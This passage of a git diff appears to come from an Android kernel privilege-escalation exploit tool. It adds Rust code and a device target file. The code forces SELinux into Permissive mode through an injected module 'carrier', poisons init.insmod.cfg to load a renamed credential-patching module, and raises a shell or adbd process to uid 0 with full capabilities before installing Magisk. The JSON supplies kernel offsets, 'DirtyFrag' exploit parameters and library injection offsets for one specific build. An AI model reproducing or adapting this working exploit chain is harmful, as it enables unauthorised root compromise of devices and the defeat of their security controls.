adb.sh("getenforce"); if after == "Permissive" { break; } } + if after != "Permissive" { + err(&format!("getenforce={} (expected Permissive) — Phase-A carrier load failed", after)); + stager.stop(); + warn("if the DEVICE crashed, grab the panic log once it is back:"); + warn(" su -c 'cat /sys/fs/pstore/console-ramoops-0 /sys/fs/pstore/dmesg-ramoops-0 2>/dev/null'"); + return; + } + win(&format!("SELinux {} -> {} (zero root)", before, after)); + stager.stop(); ok("stager stopped (SA reaped) — Phase B is shell-direct under DAC"); + + // ---------------- Phase B: renamed cred carrier via shell-poisoned cfg -> root ---------------- + banner("PHASE B (cred carrier via shell, under Permissive)"); + let pid: i64; + let mut wsh: Option = None; + if adb_root { + let p = adbd_pid(adb).unwrap_or_else(|| die("could not find adbd pid")); + step(&format!("Target: adbd pid {} (cred-patch -> uid0 + all caps + kernel context)", p)); + pid = p.parse().unwrap_or(0); + } else { + step("Launching waiting shell (to be cred-patched to uid 0)"); + let mut w = WaitShell::new(serial, local, skip_magisk, &format!("{} {}", mod_name(&t.s(&["carrier", "device_path"])), SPLIT_CRED_MOD)); + let p = w.start().unwrap_or_else(|| die("waiting shell failed")); + ok(&format!("waiting shell pid {}", p)); + pid = p; wsh = Some(w); + } + step(&format!("Building FULL cred carrier (rename module -> '{}', coexists with loaded carrier)", SPLIT_CRED_MOD)); + let (credko, cmsg) = build_cred(t, cc.clone(), pid, adb_root); + info(&cmsg); + let credko = rename_module(credko, SPLIT_CRED_MOD).unwrap_or_else(|e| die(&format!("rename_module: {}", e))); + push_bytes(adb, workdir, "uv.ko", &credko, "/data/local/tmp/uv.ko"); + if !adb_root { stage_postex_assets(adb, workdir); } + step("Poisoning init.insmod.cfg -> insmod uv.ko (shell, permissive)"); + poison_cfg_direct(t, adb, workdir, "/data/local/tmp/uv.ko"); + step(&format!("setprop ctl.start {} -> loads uv.ko -> cred-patch", isvc)); + adb.sh(&format!("setprop ctl.start {}", isvc)); + + let mut rooted = false; let mut uline = String::new(); + for _ in 0..30 { + secs(1); + if adb_root { let ul = adb.sh(&format!("grep -m1 Uid /proc/{}/status 2>/dev/null", pid)); if ul.split_whitespace().nth(1) == Some("0") { rooted = true; break; } } + else if let Some(w) = &wsh { uline = adb.sh(&format!("grep -m1 Uid /proc/{}/status 2>/dev/null", w.pid.unwrap_or(0))); if uline.split_whitespace().nth(1) == Some("0") { rooted = true; break; } } + } + if !rooted { + if let Some(mut w) = wsh { w.stop(); } + die(&format!("cred carrier load did not root the target (uv.ko failed?) — {}", if uline.is_empty() { "no Uid line".into() } else { uline })); + } + + banner("RESULT"); + if adb_root { + win(&format!("adbd (pid {}) cred-patched -> NEW adb shells are uid 0 + all caps + kernel context", pid)); + info("Open a NEW adb shell to get full root: adb shell -> id (uid=0)"); + warn("residue (needs reboot): carrier page-cache poison + 2 loaded modules (rdbg + rdbgcp, exit neutralized)"); + return; + } + win(&format!("waiting shell {} cred-patched -> uid 0", pid)); + match cleanup { + Cleanup::Postex => { + let mut w = wsh.take().unwrap(); + banner("POST-EX (root shell -> Magisk)"); + step("Releasing rooted shell -> postex.sh (drop_caches, rmmod, Magisk, setenforce 1)"); + w.release(); + for _ in 0..90 { if adb.sh("[ -f /data/local/tmp/postex_done ] && echo y") == "y" { break; } secs(2); } + w.stop(); + banner("POST-EX RESULT"); + let logtxt = adb.sh("cat /data/local/tmp/postex.log 2>/dev/null"); + println!("{}", if logtxt.is_empty() { "(no log)".into() } else { logtxt }); + let ge = adb.sh("getenforce"); + if ge == "Enforcing" { win(&format!("final getenforce={} (Magisk policy live if Enforcing)", ge)); } else { warn(&format!("final getenforce={}", ge)); } + } + _ => { + if let Some(mut w) = wsh { w.stop(); } + info("device is Permissive with a root-capable module loaded; run again with --postex/--adb-root."); + warn("residue (needs reboot): carrier/cfg page-cache poison + 2 loaded modules (rdbg + rdbgcp)"); + } + } +} + fn make_workdir(local: bool) -> PathBuf { // on-device (--local) the host temp_dir (/tmp) may be unwritable; stage under /data/local/tmp. let mut d = if local { PathBuf::from("/data/local/tmp") } else { std::env::temp_dir() }; diff --git a/targets/q2_50837850062000150.json b/targets/q2_50837850062000150.json new file mode 100644 index 0000000..c4c47e1 --- /dev/null +++ b/targets/q2_50837850062000150.json @@ -0,0 +1,63 @@ +{ + "name": "q2_50837850062000150", + "description": "build 50837850062000150, kernel 4.19.157+ (MERGED single-carrier)", + "status": "READY (split flow) — kernel offsets derived & self-consistent (DirtyFrag live: patch 2024-02-05); merged stub too big for this build's exec gaps, so split_flow is set. Offline-validated; not yet run on hardware.", + "split_flow": true, + "port_notes": [ + "selinux_state absent from kallsyms (no data syms, no BTF) -> xref'd via avc_has_perm_noaudit callers = 0xffffff800976f8f8 (dsel 0x109672c). Auto-handled by port.py.", + "task_struct->cred = 0x7e0 on 4.19.157 (not 0x7e8 as on 4.19.325) -> derived from commit_creds. enforcing_off=1, cred->security=0x78 unchanged.", + "tracking daemon is 'trackingfidelityservice' (user=system, group camera), not 'trackingservice'. Confirm on-device that ctl.restart re-runs it, that its SELinux domain can open vendor_file (rdbg.ko), and that it maps the inject_lib.", + "No tracking-mapped, shell-readable lib has a >=~3500B exec zero-gap (old toolchain packs tight): libgralloc.qti=552B, libcdsprpc=3328B; MERGED stub=3500B. Hence split_flow: Phase A injects a small enforcing-only rdbg carrier (104B patch -> 1904B stub, fits libcdsprpc's 3328B gap) to reach Permissive; Phase B loads a renamed FULL cred carrier ('rdbgcp') via a shell-poisoned cfg under DAC -> root. Both patched inits return early (no device registration) so they coexist.", + "insmod_sh trigger present in vendor (init.insmod.sh / init-insmod-sh_exec); service name assumed 'insmod_sh' as on newer builds — verify.", + "ON-DEVICE TODO: confirm rdbg is NOT auto-loaded at boot (chain needs to load it), trackingfidelityservice restarts on the poisoned dumpsys-input, its domain can open rdbg.ko, and it maps libcdsprpc (else pick another mapped shell-readable lib with >=~2KB gap for inject_lib)." + ], + "device": { + "build_incremental": "50837850062000150", + "vermagic": "4.19.157+" + }, + "dirtyfrag": { + "sa_spi": "0xdeadbe10", + "writer_spi": "0xdeadbe11", + "keymat_base": "0x41" + }, + "kernel": { + "anchor_symbol": "__platform_driver_register", + "enforcing_off": 1, + "cred_off": "0x7e0", + "cred_security_off": "0x78", + "merged": true, + "delta_selinux_from_anchor": "0x109672c", + "delta_findvpid_from_anchor": "0xffa047cc", + "delta_pidtask_from_anchor": "0xffa049c0", + "delta_ssuse_from_anchor": "0xffd631ec" + }, + "carrier": { + "device_path": "/vendor/lib/modules/rdbg.ko", + "local_ko": "q2_50837850062000150/rdbg.ko", + "anchor_reloc_off": "0x14" + }, + "inject_lib": { + "device_path": "/vendor/lib64/libcdsprpc.so", + "init_array_off": "0x3d180", + "orig_ctor_off": "0x3b8f8", + "stub_gap_off": "0x15300", + "stub_gap_size": 3328 + }, + "libandroid_servers": { + "device_path": "/system/lib64/libandroid_servers.so", + "dump_off": "0x84ff0", + "dump_size": 992 + }, + "cfg": { + "device_path": "/vendor/etc/init.insmod.cfg", + "local_cfg": "q2_50837850062000150/init.insmod.cfg", + "inject_off": "0x21", + "inject_len": 54, + "shell_poison_under_enforcing": true + }, + "services": { + "tracking": "trackingfidelityservice", + "insmod_sh": "insmod_sh" + }, + "property_socket": "/dev/socket/property_service" +} \ No newline at end of file diff --git a/toolconf.py b/toolconf.py index da78785..2e640cb 100644 --- a/toolconf.py +++ b/toolconf.py @@ -36,6 +36,7 @@ CLANG = _tool(CLANG_BIN, "clang") OBJCOPY = _tool(CLANG_BIN, "llvm-objcopy") READELF = _tool(CLANG_BIN, "llvm-readelf") NM = _tool(CLANG_BIN, "llvm-nm") +OBJDUMP = _tool(CLANG_BIN, "llvm-objdump") # port.py: xref-derive data syms (selinux_state) on old kernels w/o data kallsyms NDK_CLANG = _tool(NDK_BIN, "aarch64-linux-android30-clang") # --- standalone binaries (env path, else PATH) ---------------------------------------------------